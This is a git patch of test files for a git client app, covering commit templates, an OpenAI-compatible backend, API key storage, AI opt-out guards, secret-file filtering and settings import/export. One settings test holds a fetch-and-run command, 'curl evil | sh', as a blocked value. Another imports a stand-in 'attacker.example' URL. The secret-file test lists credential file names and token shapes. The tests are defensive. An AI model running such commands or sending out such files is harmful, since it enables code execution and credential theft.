createCommit(git, repo.path, { ...opts, noVerify: true }, false); + expect(repo.git(['log', '-1', '--format=%B'])).not.toContain('Signed-off-by'); + } finally { + await repo.dispose(); + } + }); + + it('reads commit.template relative to the repo, dropping comment lines; ignores missing, binary or absent templates', async () => { + const repo = await createRepo({ commits: [{ message: 'init', files: { 'a.txt': '1\n' } }] }); + try { + const git = new GitClient(repo.tools()); + expect(await readCommitTemplate(git, repo.path)).toBeNull(); + await repo.write('.gitmessage', 'feat: \n\nWhy:\n# Explain why\n'); + repo.git(['config', 'commit.template', '.gitmessage']); + expect(await readCommitTemplate(git, repo.path)).toEqual({ summary: 'feat: ', description: 'Why:' }); + await repo.write('.gitmessage', '# only comments\n'); + expect(await readCommitTemplate(git, repo.path)).toBeNull(); + await repo.write('.gitmessage', 'bin\0ary'); + expect(await readCommitTemplate(git, repo.path)).toBeNull(); + repo.git(['config', 'commit.template', 'nope.txt']); + expect(await readCommitTemplate(git, repo.path)).toBeNull(); + } finally { + await repo.dispose(); + } + }); +}); + +describe.skipIf(!hasGitSync())('getRangeFiles', () => { + it('lists name-status entries for base...head, excluding changes only on base', async () => { + const repo = await createRepo({ commits: [{ message: 'init', files: { 'keep.txt': '1\n', 'old.txt': 'x\n', 'gone.txt': 'y\n' } }] }); + try { + repo.git(['checkout', '-b', 'feature']); + repo.commit({ message: 'feature', files: { 'keep.txt': '2\n', 'z-new.txt': 'n\n' }, remove: ['gone.txt'] }); + repo.git(['mv', 'old.txt', 'renamed.txt']); + repo.commit({ message: 'rename', allowEmpty: true }); + repo.git(['checkout', 'main']); + repo.commit({ message: 'main only', files: { 'main-only.txt': '1\n' } }); + const git = new GitClient(repo.tools()); + const files = await getRangeFiles(git, repo.path, 'main', 'feature'); + expect(files.map((f) => [f.path, f.status, f.oldPath])).toEqual([ + ['gone.txt', 'deleted', null], + ['keep.txt', 'modified', null], + ['renamed.txt', 'renamed', 'old.txt'], + ['z-new.txt', 'new', null], + ]); + } finally { + await repo.dispose(); + } + }); +}); diff --git a/test/fixture/tools.test.ts b/test/fixture/tools.test.ts index f271c43..54ab581 100644 --- a/test/fixture/tools.test.ts +++ b/test/fixture/tools.test.ts @@ -1,7 +1,7 @@ import { execFileSync } from 'node:child_process'; import { describe, expect, it } from 'vitest'; import { DEFAULT_SETTINGS } from '../../src/shared/types'; -import { ToolLocator } from '../../src/main/tools'; +import { flagOutdated, ToolLocator } from '../../src/main/tools'; import type { Store } from '../../src/main/store'; function hasOnPath(name: string, args: string[]): boolean { @@ -54,3 +54,24 @@ describe.skipIf(!hasOnPath('git', ['--version']))('ToolLocator: pre-scan state', expect(locator.current().git.installed).toBe(true); }); }); + +describe('flagOutdated', () => { + const info = (version: string | null, installed = true) => ({ installed, version, path: '/usr/bin/x', error: null }); + + it('flags a version below the minimum, comparing numerically (2.9 < 2.30)', () => { + expect(flagOutdated(info('2.29.9'), '2.30.0')).toMatchObject({ outdated: true, minVersion: '2.30.0' }); + expect(flagOutdated(info('2.9.5'), '2.30.0').outdated).toBe(true); + }); + + it('accepts the minimum itself, newer versions, and vendor-suffixed git versions', () => { + expect(flagOutdated(info('2.30.0'), '2.30.0').outdated).toBeUndefined(); + expect(flagOutdated(info('2.100.0'), '2.30.0').outdated).toBeUndefined(); + expect(flagOutdated(info('2.45.1.windows.1'), '2.30.0').outdated).toBeUndefined(); + expect(flagOutdated(info('2.39.3'), '2.30.0').outdated).toBeUndefined(); + }); + + it('does not flag a tool that is missing or has an unparseable version', () => { + expect(flagOutdated(info(null), '2.30.0').outdated).toBeUndefined(); + expect(flagOutdated(info('1.0.0', false), '2.30.0').outdated).toBeUndefined(); + }); +}); diff --git a/test/gh-pr-merge.test.ts b/test/gh-pr-merge.test.ts new file mode 100644 index 0000000..62631fc --- /dev/null +++ b/test/gh-pr-merge.test.ts @@ -0,0 +1,26 @@ +import { describe, expect, it } from 'vitest'; +import { prMergeArgs, toPullRequest } from '../src/main/gh/gh'; + +describe('prMergeArgs', () => { + it('merges immediately by default', () => { + expect(prMergeArgs('o/r', 7, { method: 'squash', deleteBranch: false, auto: false })).toEqual(['pr', 'merge', '7', '--repo', 'o/r', '--squash']); + }); + + it('enables auto-merge with the chosen method and branch deletion', () => { + expect(prMergeArgs('o/r', 7, { method: 'rebase', deleteBranch: true, auto: true })).toEqual(['pr', 'merge', '7', '--repo', 'o/r', '--rebase', '--auto', '--delete-branch']); + }); + + it('disables auto-merge without a method', () => { + expect(prMergeArgs('o/r', 7, 'disable-auto')).toEqual(['pr', 'merge', '7', '--repo', 'o/r', '--disable-auto']); + }); +}); + +describe('toPullRequest autoMerge', () => { + const raw = { number: 1, title: 't', url: 'u', headRefName: 'h', baseRefName: 'b', state: 'OPEN' as const, createdAt: '', updatedAt: '' }; + + it('maps gh autoMergeRequest and degrades to null when absent', () => { + expect(toPullRequest(raw).autoMerge).toBeNull(); + expect(toPullRequest({ ...raw, autoMergeRequest: { mergeMethod: 'SQUASH', enabledBy: { login: 'octo' } } }).autoMerge).toEqual({ method: 'squash', enabledBy: 'octo' }); + expect(toPullRequest({ ...raw, autoMergeRequest: { mergeMethod: 'WEIRD' } }).autoMerge).toEqual({ method: null, enabledBy: null }); + }); +}); diff --git a/test/openai-backend.test.ts b/test/openai-backend.test.ts new file mode 100644 index 0000000..eb9e9d7 --- /dev/null +++ b/test/openai-backend.test.ts @@ -0,0 +1,114 @@ +import { createServer, type IncomingMessage, type Server } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { AiError, type AiRequest } from '../src/main/ai/backends'; +import { OpenAiBackend } from '../src/main/ai/openai-backend'; + +interface Seen { + url: string; + auth: string | undefined; + body: Record; +} + +let server: Server; +let base: string; +let seen: Seen[]; +/** One entry per expected request: [status, body]. */ +let replies: [number, unknown][]; + +const ok = (content: string, extra: Record = {}) => ({ model: 'served-model', choices: [{ message: { content }, finish_reason: 'stop' }], ...extra }); +const req = (over: Partial = {}): AiRequest => ({ system: 'SYS', prompt: 'PROMPT', schema: { type: 'object', properties: { a: { type: 'number' } } }, model: 'my-model', effort: 'high', ...over }); + +beforeEach(async () => { + seen = []; + replies = []; + server = createServer((incoming: IncomingMessage, res) => { + let raw = ''; + incoming.on('data', (c) => (raw += c)); + incoming.on('end', () => { + seen.push({ url: incoming.url ?? '', auth: incoming.headers.authorization, body: JSON.parse(raw) }); + const [status, body] = replies.shift() ?? [500, { error: { message: 'no reply queued' } }]; + res.writeHead(status, { 'content-type': 'application/json' }); + res.end(typeof body === 'string' ? body : JSON.stringify(body)); + }); + }); + await new Promise((r) => server.listen(0, '127.0.0.1', r)); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}/v1/`; +}); +afterEach(() => new Promise((r) => server.close(() => r()))); + +describe('OpenAiBackend', () => { + it('posts a strict json_schema request to {base}/chat/completions with the bearer key and maps usage', async () => { + replies.push([200, ok('{"a":1}', { usage: { prompt_tokens: 100, completion_tokens: 20, prompt_tokens_details: { cached_tokens: 40 } } })]); + const res = await new OpenAiBackend(base, 'sk-test').complete(req({ sharedPrompt: 'SHARED' })); + expect(res.json).toEqual({ a: 1 }); + expect(res.model).toBe('served-model'); + expect(res.usage).toEqual({ inputTokens: 60, outputTokens: 20, cacheReadTokens: 40, cacheWriteTokens: 0, costUsd: null }); + expect(seen).toHaveLength(1); + expect(seen[0].url).toBe('/v1/chat/completions'); + expect(seen[0].auth).toBe('Bearer sk-test'); + expect(seen[0].body.model).toBe('my-model'); + expect(seen[0].body.response_format).toEqual({ type: 'json_schema', json_schema: { name: 'response', strict: true, schema: req().schema } }); + expect(seen[0].body.messages).toEqual([ + { role: 'system', content: 'SYS' }, + { role: 'user', content: 'SHARED\n\nPROMPT' }, + ]); + }); + + it('sends no Authorization header without a key (local servers)', async () => { + replies.push([200, ok('{}')]); + await new OpenAiBackend(base, null).complete(req()); + expect(seen[0].auth).toBeUndefined(); + }); + + it('retries once with json_object and the schema in the system prompt when json_schema is rejected', async () => { + replies.push([400, { error: { message: "response_format 'json_schema' is not supported" } }], [200, ok('```json\n{"a":2}\n```')]); + const res = await new OpenAiBackend(base, null).complete(req()); + expect(res.json).toEqual({ a: 2 }); + expect(seen).toHaveLength(2); + expect(seen[1].body.response_format).toEqual({ type: 'json_object' }); + expect(seen[1].body.messages[0].content).toContain('SYS'); + expect(seen[1].body.messages[0].content).toContain(JSON.stringify(req().schema)); + }); + + it.each([ + [401, 'auth'], + [403, 'auth'], + [429, 'rate-limit'], + [404, 'other'], + [503, 'other'], + ])('maps HTTP %i to AiError kind %s', async (status, kind) => { + replies.push([status, { error: { message: 'nope sk-secretsecretsecretsecret' } }]); + const err = await new OpenAiBackend(base, 'k').complete(req()).catch((e) => e); + expect(err).toBeInstanceOf(AiError); + expect(err.kind).toBe(kind); + expect(err.message).not.toContain('sk-secretsecretsecretsecret'); + }); + + it('reports a still-rejected request after the fallback as an error', async () => { + replies.push([400, { error: { message: 'bad' } }], [400, { error: { message: 'still bad' } }]); + const err = await new OpenAiBackend(base, null).complete(req()).catch((e) => e); + expect(err.kind).toBe('other'); + expect(err.message).toContain('still bad'); + }); + + it('maps truncation, refusals and empty or non-JSON answers', async () => { + const backend = new OpenAiBackend(base, null); + replies.push([200, { choices: [{ message: { content: '{"a":' }, finish_reason: 'length' }] }]); + expect((await backend.complete(req()).catch((e) => e)).kind).toBe('truncated'); + replies.push([200, { choices: [{ message: { content: null, refusal: 'cannot help' }, finish_reason: 'stop' }] }]); + expect((await backend.complete(req()).catch((e) => e)).kind).toBe('refusal'); + replies.push([200, { choices: [] }]); + expect((await backend.complete(req()).catch((e) => e)).kind).toBe('invalid-output'); + replies.push([200, ok('definitely not json')]); + expect((await backend.complete(req()).catch((e) => e)).kind).toBe('invalid-output'); + }); + + it('maps an unreachable server to network and an aborted signal to cancelled', async () => { + const dead = new OpenAiBackend('http://127.0.0.1:1/v1', null); + expect((await dead.complete(req()).catch((e) => e)).kind).toBe('network'); + const controller = new AbortController(); + controller.abort(); + expect((await new OpenAiBackend(base, null).complete(req({ signal: controller.signal })).catch((e) => e)).kind).toBe('cancelled'); + }); +}); diff --git a/test/openai-key-store.test.ts b/test/openai-key-store.test.ts new file mode 100644 index 0000000..2301aa8 --- /dev/null +++ b/test/openai-key-store.test.ts @@ -0,0 +1,52 @@ +import { mkdtempSync, readFileSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { Store } from '../src/main/store'; + +const dirs: string[] = []; +const newStore = (): Store => { + const dir = mkdtempSync(join(tmpdir(), 'gg-openai-')); + dirs.push(dir); + const store = new Store(dir); + store.load(); + return store; +}; +afterEach(() => { + for (const d of dirs.splice(0)) rmSync(d, { recursive: true, force: true }); +}); + +const exportFile = (baseUrl: string) => ({ schema: 1, app: 'gitgood', version: '1', exportedAt: 'x', platform: process.platform, preferences: { ai: { openaiBaseUrl: baseUrl } } }); + +describe('OpenAI-compatible API key', () => { + it('is stored separately from the Anthropic key and flagged in settings', () => { + const store = newStore(); + store.setApiKey('anthropic-key'); + store.setOpenaiApiKey('openai-key'); + expect(store.getApiKey()).toBe('anthropic-key'); + expect(store.getOpenaiApiKey()).toBe('openai-key'); + expect(store.getSettings().ai).toMatchObject({ hasApiKey: true, hasOpenaiApiKey: true }); + store.setOpenaiApiKey(null); + expect(store.getOpenaiApiKey()).toBeNull(); + expect(store.getApiKey()).toBe('anthropic-key'); + expect(store.getSettings().ai.hasOpenaiApiKey).toBe(false); + }); + + it('never appears in an export', () => { + const store = newStore(); + store.setOpenaiApiKey('openai-secret-value'); + expect(JSON.stringify(store.buildExport(['preferences', 'integrations', 'repositories'], []))).not.toContain('openai-secret-value'); + }); + + it('is dropped when an import changes the base URL, so a file cannot redirect it', () => { + const store = newStore(); + store.updateSettings({ ai: { ...store.getSettings().ai, openaiBaseUrl: 'https://api.openai.com/v1' } }); + store.setOpenaiApiKey('openai-secret-value'); + store.importSettings(exportFile('https://api.openai.com/v1'), 'merge', ['preferences']); + expect(store.getOpenaiApiKey()).toBe('openai-secret-value'); + store.importSettings(exportFile('https://attacker.example/v1'), 'merge', ['preferences']); + expect(store.getOpenaiApiKey()).toBeNull(); + expect(store.getSettings().ai.openaiBaseUrl).toBe('https://attacker.example/v1'); + expect(readFileSync(join(dirs[0], 'secrets.json'), 'utf8')).not.toContain('openai-secret-value'); + }); +}); diff --git a/test/repo-ai-guard.test.ts b/test/repo-ai-guard.test.ts new file mode 100644 index 0000000..cbdc73a --- /dev/null +++ b/test/repo-ai-guard.test.ts @@ -0,0 +1,40 @@ +import { describe, expect, it, vi } from 'vitest'; +import { AiError } from '../src/main/ai/backends'; +import { guardAiHandlers } from '../src/main/ai/repo-guard'; + +function build() { + const handlers = { + 'ai.review.start': vi.fn(async (_repo: string) => 'started'), + 'ai.explainError': vi.fn(async (_repo: string | null) => 'explained'), + 'ai.cancel': vi.fn(async () => undefined), + 'ai.split.undo': vi.fn(async (_repo: string) => 'undone'), + 'repo.status': vi.fn(async (_repo: string) => 'status'), + }; + guardAiHandlers(handlers as never, async (repoPath) => (repoPath === '/off' ? 'AI is off here' : null)); + return handlers; +} + +describe('guardAiHandlers', () => { + it('refuses ai.* calls for an opted-out repository before the handler runs', async () => { + const inner = vi.fn(async () => 'started'); + const handlers = { 'ai.review.start': inner }; + guardAiHandlers(handlers as never, async (p) => (p === '/off' ? 'AI is off here' : null)); + await expect(handlers['ai.review.start']('/off' as never)).rejects.toThrow(AiError); + expect(inner).not.toHaveBeenCalled(); + await expect(handlers['ai.review.start']('/on' as never)).resolves.toBe('started'); + }); + + it('leaves non-ai methods, argument-less calls, null repo paths and rollbacks alone', async () => { + const h = build() as Record Promise>; + await expect(h['repo.status']('/off')).resolves.toBe('status'); + await expect(h['ai.cancel']()).resolves.toBeUndefined(); + await expect(h['ai.explainError'](null)).resolves.toBe('explained'); + await expect(h['ai.split.undo']('/off')).resolves.toBe('undone'); + }); + + it('guards methods added later by prefix, not by a list', async () => { + const h = { 'ai.somethingNew': async (_p: string) => 'ok' }; + guardAiHandlers(h as never, async () => 'blocked'); + await expect(h['ai.somethingNew']('/x')).rejects.toThrow('blocked'); + }); +}); diff --git a/test/repo-config.test.ts b/test/repo-config.test.ts index df6a98f..35b1bfc 100644 --- a/test/repo-config.test.ts +++ b/test/repo-config.test.ts @@ -7,21 +7,27 @@ import { resolveCheckCommand } from '../src/main/ai/check-runner'; describe('parseRepoConfig', () => { it('reads a valid postResolveCheck command', () => { - expect(parseRepoConfig({ postResolveCheck: 'npm run typecheck' })).toEqual({ postResolveCheck: 'npm run typecheck' }); + expect(parseRepoConfig({ postResolveCheck: 'npm run typecheck' })).toEqual({ postResolveCheck: 'npm run typecheck', ai: true }); }); it('treats a missing field as no command', () => { - expect(parseRepoConfig({})).toEqual({ postResolveCheck: null }); + expect(parseRepoConfig({})).toEqual({ postResolveCheck: null, ai: true }); }); it('treats a blank command as no command', () => { - expect(parseRepoConfig({ postResolveCheck: ' ' })).toEqual({ postResolveCheck: null }); + expect(parseRepoConfig({ postResolveCheck: ' ' })).toEqual({ postResolveCheck: null, ai: true }); + }); + + it('reads "ai": false as an opt-out and anything else as enabled', () => { + expect(parseRepoConfig({ ai: false }).ai).toBe(false); + expect(parseRepoConfig({ ai: 'no' }).ai).toBe(true); + expect(parseRepoConfig({}).ai).toBe(true); }); it('treats malformed input as no command', () => { - expect(parseRepoConfig(null)).toEqual({ postResolveCheck: null }); - expect(parseRepoConfig('not an object')).toEqual({ postResolveCheck: null }); - expect(parseRepoConfig({ postResolveCheck: 42 })).toEqual({ postResolveCheck: null }); + expect(parseRepoConfig(null)).toEqual({ postResolveCheck: null, ai: true }); + expect(parseRepoConfig('not an object')).toEqual({ postResolveCheck: null, ai: true }); + expect(parseRepoConfig({ postResolveCheck: 42 })).toEqual({ postResolveCheck: null, ai: true }); }); }); @@ -36,19 +42,19 @@ describe('readRepoConfig (fixture)', () => { dir = mkdtempSync(join(tmpdir(), 'gitgood-repo-config-')); mkdirSync(join(dir, '.gitgood')); writeFileSync(join(dir, '.gitgood', 'config.json'), JSON.stringify({ postResolveCheck: 'npm run typecheck' })); - expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: 'npm run typecheck' }); + expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: 'npm run typecheck', ai: true }); }); it('returns no command when the file is absent', async () => { dir = mkdtempSync(join(tmpdir(), 'gitgood-repo-config-')); - expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: null }); + expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: null, ai: true }); }); it('returns no command when the file is malformed JSON, without throwing', async () => { dir = mkdtempSync(join(tmpdir(), 'gitgood-repo-config-')); mkdirSync(join(dir, '.gitgood')); writeFileSync(join(dir, '.gitgood', 'config.json'), '{ not json'); - expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: null }); + expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: null, ai: true }); }); it('the trust gate refuses a command read from an untrusted repository, even though the file declares one', async () => { diff --git a/test/repo-file-safety.test.ts b/test/repo-file-safety.test.ts index d326ea2..a7ed0d6 100644 --- a/test/repo-file-safety.test.ts +++ b/test/repo-file-safety.test.ts @@ -63,7 +63,7 @@ describe.skipIf(process.platform === 'win32')('repo files never follow symlinks symlinkSync(join(base, 'cfg.json'), join(repo, '.gitgood', 'config.json')); expect(await findPullRequestTemplate(repo)).toBeNull(); expect(await discoverIssueTemplates(repo)).toEqual([]); - expect(await readRepoConfig(repo)).toEqual({ postResolveCheck: null }); + expect(await readRepoConfig(repo)).toEqual({ postResolveCheck: null, ai: true }); }); it('an untracked symlink diffs as its link text, not the target contents', async () => { diff --git a/test/secret-files.test.ts b/test/secret-files.test.ts new file mode 100644 index 0000000..acf9104 --- /dev/null +++ b/test/secret-files.test.ts @@ -0,0 +1,80 @@ +import { describe, expect, it } from 'vitest'; +import { withScrubbing, type AiBackend, type AiRequest } from '../src/main/ai/backends'; +import { skipReason } from '../src/main/ai/review-core'; +import { dropSecretFilePatches, scrubSecrets, secretFileReason } from '../src/shared/secrets'; +import type { CommitFile, DiffHunk } from '../src/shared/types'; + +const file = (path: string, over: Partial = {}): CommitFile => ({ path, oldPath: null, status: 'modified', additions: 1, deletions: 0, binary: false, lfs: false, ...over }); +const hunk = (...lines: string[]): DiffHunk => ({ header: '@@ -1 +1 @@', oldStart: 1, oldLines: 1, newStart: 1, newLines: 1, lines: lines.map((text) => ({ type: 'add' as const, text, oldNumber: null, newNumber: 1 })) }) as DiffHunk; + +describe('secretFileReason', () => { + it.each(['.env', 'apps/web/.env.local', 'config/.ENV.production', 'server.pem', 'keys/tls.key', 'cert.p12', 'cert.pfx', 'home/id_rsa', 'id_ed25519', '.netrc', 'credentials.json', 'gcp/credentials-prod.json'])('flags %s', (p) => { + expect(secretFileReason(p)).not.toBeNull(); + }); + + it.each(['.env.example', '.env.sample', 'src/environment.ts', 'id_rsa.pub', 'README.md', 'src/keyboard.ts', 'credentials.ts', 'package.json'])('lets %s through', (p) => { + expect(secretFileReason(p)).toBeNull(); + }); + + it('flags .npmrc / .pypirc only when they carry credentials (and when that is unknown)', () => { + expect(secretFileReason('.npmrc')).not.toBeNull(); + expect(secretFileReason('.npmrc', 'registry=https://registry.npmjs.org/\n')).toBeNull(); + expect(secretFileReason('web/.npmrc', '//registry.npmjs.org/:_authToken=abc123')).not.toBeNull(); + expect(secretFileReason('.pypirc', '[pypi]\npassword = hunter2')).not.toBeNull(); + }); +}); + +describe('review skip rules', () => { + it('skips secret-shaped files with a visible reason, even deleted ones', () => { + expect(skipReason(file('.env'), 3)).toMatch(/never sent to AI/); + expect(skipReason(file('deploy/key.pem', { status: 'deleted' }), 3)).toMatch(/private key/); + expect(skipReason(file('src/app.ts'), 3)).toBeNull(); + }); + + it('uses the diff text to decide on .npmrc', () => { + expect(skipReason(file('.npmrc'), 1, new Set(), [hunk('registry=https://registry.npmjs.org/')])).toBeNull(); + expect(skipReason(file('.npmrc'), 1, new Set(), [hunk('//registry.npmjs.org/:_authToken=abc')])).toMatch(/credentials/); + }); +}); + +describe('dropSecretFilePatches', () => { + it('removes secret files from a patch and says what it removed', () => { + const patch = ['diff --git a/src/a.ts b/src/a.ts\n+ok\n', 'diff --git a/.env b/.env\n+TOKEN=abc\n', 'diff --git a/b.pem b/b.pem\n+-----BEGIN\n', 'diff --git a/src/c.ts b/src/c.ts\n+fine\n'].join(''); + const out = dropSecretFilePatches(patch); + expect(out.patch).toContain('src/a.ts'); + expect(out.patch).toContain('src/c.ts'); + expect(out.patch).not.toContain('TOKEN=abc'); + expect(out.patch).not.toContain('BEGIN'); + expect(out.skipped.map((s) => s.split(':')[0])).toEqual(['.env', 'b.pem']); + }); +}); + +describe('scrubbing before upload', () => { + const echo = (): { backend: AiBackend; last: () => AiRequest } => { + let last: AiRequest | undefined; + return { backend: { name: 'anthropic', complete: async (r) => ((last = r), { json: {}, model: 'm' }) }, last: () => last! }; + }; + const base = { system: 'SYS', schema: {}, model: 'm', effort: 'low' as const }; + + it('masks token shapes in prompt and sharedPrompt but keeps line structure', async () => { + const { backend, last } = echo(); + const key = 'sk-' + 'a'.repeat(30); + await withScrubbing(backend).complete({ ...base, prompt: `+const k = "${key}";\n+// ghp_${'b'.repeat(25)}\n+AKIA${'C'.repeat(16)}`, sharedPrompt: 'Authorization: Bearer abc.def.ghi' }); + expect(last().prompt).not.toContain(key); + expect(last().prompt).not.toContain('ghp_bbbb'); + expect(last().prompt).not.toContain('AKIACCCC'); + expect(last().prompt.split('\n')).toHaveLength(3); + expect(last().sharedPrompt).toBe('Authorization: Bearer ***'); + expect(last().system).toBe('SYS'); + }); + + it('does not invent a sharedPrompt', async () => { + const { backend, last } = echo(); + await withScrubbing(backend).complete({ ...base, prompt: 'plain' }); + expect(last().sharedPrompt).toBeUndefined(); + }); + + it('scrubSecrets still masks Anthropic keys as before', () => { + expect(scrubSecrets('sk-ant-api03-abcdefghijkl')).toBe('sk-ant-***'); + }); +}); diff --git a/test/settings-sync-core.test.ts b/test/settings-sync-core.test.ts index f2a248f..cf70585 100644 --- a/test/settings-sync-core.test.ts +++ b/test/settings-sync-core.test.ts @@ -64,7 +64,7 @@ describe('buildSettingsExport / the allowlist', () => { it('portable preferences carry only the allowlisted ai fields (never the custom agent command)', () => { const settings: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, hasApiKey: true, claudeCliPath: '/bin/claude', provider: 'claude-cli', model: 'x', effort: 'max', agentCommand: 'custom', agentCustomCommand: 'curl evil | sh # {file}' } }; const prefs = buildPortablePreferences(settings); - expect(prefs.ai).toEqual({ provider: 'claude-cli', model: 'x', effort: 'max', autoStageAfterResolve: settings.ai.autoStageAfterResolve, reviewStrictness: settings.ai.reviewStrictness, reviewMaxFiles: settings.ai.reviewMaxFiles, reviewPostFooter: settings.ai.reviewPostFooter, agentCommand: 'custom' }); + expect(prefs.ai).toEqual({ provider: 'claude-cli', model: 'x', openaiBaseUrl: '', openaiModel: '', featureModels: {}, effort: 'max', autoStageAfterResolve: settings.ai.autoStageAfterResolve, reviewStrictness: settings.ai.reviewStrictness, reviewMaxFiles: settings.ai.reviewMaxFiles, reviewPostFooter: settings.ai.reviewPostFooter, agentCommand: 'custom' }); expect(JSON.stringify(buildSettingsExport({ sections: ['preferences'], settings, repositories: [], appVersion: '1', platform: 'linux' }))).not.toContain('evil'); }); @@ -304,3 +304,35 @@ describe('stableHash', () => { expect(stableHash('a')).not.toBe(stableHash('b')); }); }); + +describe('OpenAI-compatible and per-feature model settings', () => { + const file = (ai: unknown) => validateSettingsExport({ schema: 1, app: 'gitgood', version: '1', exportedAt: 'x', platform: 'linux', preferences: { ai } }); + + it('exports the base URL, model and feature overrides but never an API key', () => { + const settings: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, provider: 'openai-compatible', openaiBaseUrl: 'http://localhost:11434/v1', openaiModel: 'llama3.1', hasOpenaiApiKey: true, featureModels: { review: 'big', commitMessage: 'small' } } }; + const ai = buildPortablePreferences(settings).ai; + expect(ai).toMatchObject({ provider: 'openai-compatible', openaiBaseUrl: 'http://localhost:11434/v1', openaiModel: 'llama3.1', featureModels: { review: 'big', commitMessage: 'small' } }); + expect(JSON.stringify(ai)).not.toMatch(/apikey/i); + }); + + it('keeps only known features with non-empty string models on import', () => { + const result = file({ featureModels: { review: ' m1 ', bogus: 'x', explain: '', split: 7, constructor: 'y' } }); + expect(result.ok).toBe(true); + if (result.ok) expect(result.data.preferences?.ai?.featureModels).toEqual({ review: 'm1' }); + }); + + it('rejects a non-object featureModels and an unknown provider', () => { + const result = file({ featureModels: ['a'], provider: 'evil' }); + expect(result.ok).toBe(true); + if (result.ok) { + expect(result.data.preferences?.ai).toBeUndefined(); + expect(result.warnings.length).toBeGreaterThanOrEqual(2); + } + }); + + it('replace-import resets feature overrides absent from the file', () => { + const current: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, featureModels: { review: 'mine' } } }; + const patch = buildPreferencesPatch(current, { ai: { provider: 'anthropic' } } as never, 'replace'); + expect(patch.ai?.featureModels).toEqual({}); + }); +}); diff --git a/test/smoke/scenarios/34-agent-review-handoff.json b/test/smoke/scenarios/34-agent-review-handoff.json index ac0de55..8af8aae 100644 --- a/test/smoke/scenarios/34-agent-review-handoff.json +++ b/test/smoke/scenarios/34-agent-review-handoff.json @@ -75,7 +75,7 @@ "shot": "notice.png" }, { - "js": "(async () => { const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); window.__gitgood.store.set({ dialog: null }); const ai = window.__gitgood.store.get().settings.ai; await window.__gitgood.actions.updateSettings({ ai: { ...ai, agentCommand: 'custom', agentCustomCommand: '' } }); window.__gitgood.store.set({ dialog: { kind: 'settings', tab: 'ai' } }); await sleep(400); const label = Array.from(document.querySelectorAll('.field label')).find((l) => l.textContent === 'Command'); const input = label && label.parentElement.querySelector('input'); if (!input) return JSON.stringify({ error: 'no Command input' }); const set = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; const type = (v) => { set.call(input, v); input.dispatchEvent(new Event('input', { bubbles: true })); }; type('aider --fix'); await sleep(400); const afterInvalid = window.__gitgood.store.get().settings.ai.agentCustomCommand; const errorText = (label.parentElement.querySelector('.error') || {}).textContent || null; type('aider --file {file}'); await sleep(400); const afterValid = window.__gitgood.store.get().settings.ai.agentCustomCommand; return JSON.stringify({ afterInvalid, errorText, afterValid }); })()", + "js": "(async () => { const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); window.__gitgood.store.set({ dialog: null }); const ai = window.__gitgood.store.get().settings.ai; await window.__gitgood.actions.updateSettings({ ai: { ...ai, agentCommand: 'custom', agentCustomCommand: '' } }); window.__gitgood.store.set({ dialog: { kind: 'settings', tab: 'ai' } }); await sleep(400); const label = Array.from(document.querySelectorAll('.field label')).find((l) => l.textContent === 'Command'); const input = label && label.parentElement.querySelector('input'); if (!input) return JSON.stringify({ error: 'no Command input' }); const set = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; const type = (v) => { set.call(input, v); input.dispatchEvent(new Event('input', { bubbles: true })); }; type('aider --fix'); await sleep(400); const afterInvalid = window.__gitgood.store.get().settings.ai.agentCustomCommand; const errorText = (label.parentElement.querySelector('.error') || {}).textContent || null; type('aider --file \"{file}\"'); await sleep(400); const afterValid = window.__gitgood.store.get().settings.ai.agentCustomCommand; return JSON.stringify({ afterInvalid, errorText, afterValid }); })()", "dump": "settings.json" }, { @@ -171,7 +171,7 @@ { "dump": "settings.json", "jsonPath": "afterValid", - "equals": "aider --file {file}" + "equals": "aider --file \"{file}\"" } ] } diff --git a/test/triage-service.test.ts b/test/triage-service.test.ts index 26d3603..284dd44 100644 --- a/test/triage-service.test.ts +++ b/test/triage-service.test.ts @@ -43,6 +43,7 @@ function makePr(number: number): PullRequest { changedFiles: 1, mergeable: 'MERGEABLE', mergeStateStatus: 'CLEAN', + autoMerge: null, labels: [], assignees: [], reviewRequests: [], diff --git a/test/triage.test.ts b/test/triage.test.ts index d5b50c1..54126f8 100644 --- a/test/triage.test.ts +++ b/test/triage.test.ts @@ -30,6 +30,7 @@ function pr(overrides: Partial = {}): PullRequest { changedFiles: 2, mergeable: 'MERGEABLE', mergeStateStatus: 'CLEAN', + autoMerge: null, labels: [], assignees: [], reviewRequests: [], From 65b627410276a9d6d0964c5f40e20daffa7decd5 Mon Sep 17 00:00:00 2001 From: Erwin Wee Date: Thu, 1 Oct 2026 21:07:10 +0800 Subject: [PATCH 03/17] =?UTF-8?q?feat:=20audit=20wave=203=20=E2=80=94=20gr?= =?UTF-8?q?aph,=20accounts,=20windows,=20undo/bisect,=20stacks,=20shortcut?= =?UTF-8?q?s,=20MCP?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - History commit graph with branch lanes (incremental per page, --date-order while shown; hidden during search/filters and on phones; toggle in View menu, filter popover and Options). - Multiple GitHub accounts: list/switch/sign out/add in Options -> Accounts; per-repository account injects that account's token (memory only) into gh and git network operations. - Startup: git commands wait only for the git probe; gh/claude/gpg/ssh/lfs probes resolve independently. - Multiple windows: File -> New Window and "Open in New Window"; each window is its own client (repo, watcher, progress); app-wide events broadcast. - Undo history (reflog) dialog with restore/branch/checkout, "Undo last Git operation", and a bisect flow with Good/Bad/Skip/Reset banner. - Stacked branches: stack markers, rebase --update-refs option, Push stack, PR base prefill. - Rebindable keyboard shortcuts with conflict handling, part of portable settings. - stdio MCP server (latest review, request re-review, 